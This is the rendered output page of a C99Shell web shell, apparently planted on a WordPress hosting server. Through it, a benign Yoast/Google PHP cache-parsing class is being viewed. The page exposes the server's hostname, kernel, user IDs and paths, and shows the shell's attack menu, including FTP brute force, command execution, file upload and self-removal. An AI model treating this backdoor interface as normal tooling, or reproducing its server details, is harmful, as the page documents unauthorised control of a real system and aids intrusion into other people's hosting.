!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/plugins/wordpress-seo/vendor/yoast/api-libs/google/io/   drwxr-xr-x
Free 181.99 GB of 490.84 GB (37.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Google_CacheParser.php (5.82 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * Copyright 2012 Google Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
/**
 * Implement the caching directives specified in rfc2616. This
 * implementation is guided by the guidance offered in rfc2616-sec13.
 * @author Chirag Shah <chirags@google.com>
 */
class Yoast_Google_CacheParser {
  public static 
$CACHEABLE_HTTP_METHODS = array('GET''HEAD');
  public static 
$CACHEABLE_STATUS_CODES = array('200''203''300''301');

  private function 
__construct() {}

  
/**
   * Check if an HTTP request can be cached by a private local cache.
   *
   * @static
   * @param Yoast_Google_HttpRequest $resp
   * @return bool True if the request is cacheable.
   * False if the request is uncacheable.
   */
  
public static function isRequestCacheable (Yoast_Google_HttpRequest $resp) {
    
$method $resp->getRequestMethod();
    if (! 
in_array($methodself::$CACHEABLE_HTTP_METHODS)) {
      return 
false;
    }

    
// Don't cache authorized requests/responses.
    // [rfc2616-14.8] When a shared cache receives a request containing an
    // Authorization field, it MUST NOT return the corresponding response
    // as a reply to any other request...
    
if ($resp->getRequestHeader("authorization")) {
      return 
false;
    }

    return 
true;
  }

  
/**
   * Check if an HTTP response can be cached by a private local cache.
   *
   * @static
   * @param Yoast_Google_HttpRequest $resp
   * @return bool True if the response is cacheable.
   * False if the response is un-cacheable.
   */
  
public static function isResponseCacheable (Yoast_Google_HttpRequest $resp) {
    
// First, check if the HTTP request was cacheable before inspecting the
    // HTTP response.
    
if (false == self::isRequestCacheable($resp)) {
      return 
false;
    }

    
$code $resp->getResponseHttpCode();
    if (! 
in_array($codeself::$CACHEABLE_STATUS_CODES)) {
      return 
false;
    }

    
// The resource is uncacheable if the resource is already expired and
    // the resource doesn't have an ETag for revalidation.
    
$etag $resp->getResponseHeader("etag");
    if (
self::isExpired($resp) && $etag == false) {
      return 
false;
    }

    
// [rfc2616-14.9.2]  If [no-store is] sent in a response, a cache MUST NOT
    // store any part of either this response or the request that elicited it.
    
$cacheControl $resp->getParsedCacheControl();
    if (isset(
$cacheControl['no-store'])) {
      return 
false;
    }

    
// Pragma: no-cache is an http request directive, but is occasionally
    // used as a response header incorrectly.
    
$pragma $resp->getResponseHeader('pragma');
    if (
$pragma == 'no-cache' || strpos($pragma'no-cache') !== false) {
      return 
false;
    }

    
// [rfc2616-14.44] Vary: * is extremely difficult to cache. "It implies that
    // a cache cannot determine from the request headers of a subsequent request
    // whether this response is the appropriate representation."
    // Given this, we deem responses with the Vary header as uncacheable.
    
$vary $resp->getResponseHeader('vary');
    if (
$vary) {
      return 
false;
    }

    return 
true;
  }

  
/**
   * @static
   * @param Yoast_Google_HttpRequest $resp
   * @return bool True if the HTTP response is considered to be expired.
   * False if it is considered to be fresh.
   */
  
public static function isExpired(Yoast_Google_HttpRequest $resp) {
    
// HTTP/1.1 clients and caches MUST treat other invalid date formats,
    // especially including the value “0”, as in the past.
    
$parsedExpires false;
    
$responseHeaders $resp->getResponseHeaders();
    if (isset(
$responseHeaders['expires'])) {
      
$rawExpires $responseHeaders['expires'];
      
// Check for a malformed expires header first.
      
if (empty($rawExpires) || (is_numeric($rawExpires) && $rawExpires <= 0)) {
        return 
true;
      }

      
// See if we can parse the expires header.
      
$parsedExpires strtotime($rawExpires);
      if (
false == $parsedExpires || $parsedExpires <= 0) {
        return 
true;
      }
    }

    
// Calculate the freshness of an http response.
    
$freshnessLifetime false;
    
$cacheControl $resp->getParsedCacheControl();
    if (isset(
$cacheControl['max-age'])) {
      
$freshnessLifetime $cacheControl['max-age'];
    }

    
$rawDate $resp->getResponseHeader('date');
    
$parsedDate strtotime($rawDate);

    if (empty(
$rawDate) || false == $parsedDate) {
      
$parsedDate time();
    }
    if (
false == $freshnessLifetime && isset($responseHeaders['expires'])) {
      
$freshnessLifetime $parsedExpires $parsedDate;
    }

    if (
false == $freshnessLifetime) {
      return 
true;
    }

    
// Calculate the age of an http response.
    
$age max(0time() - $parsedDate);
    if (isset(
$responseHeaders['age'])) {
      
$age max($agestrtotime($responseHeaders['age']));
    }

    return 
$freshnessLifetime <= $age;
  }

  
/**
   * Determine if a cache entry should be revalidated with by the origin.
   *
   * @param Yoast_Google_HttpRequest $response
   * @return bool True if the entry is expired, else return false.
   */
  
public static function mustRevalidate(Yoast_Google_HttpRequest $response) {
    
// [13.3] When a cache has a stale entry that it would like to use as a
    // response to a client's request, it first has to check with the origin
    // server to see if its cached entry is still usable.
    
return self::isExpired($response);
  }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0102 ]--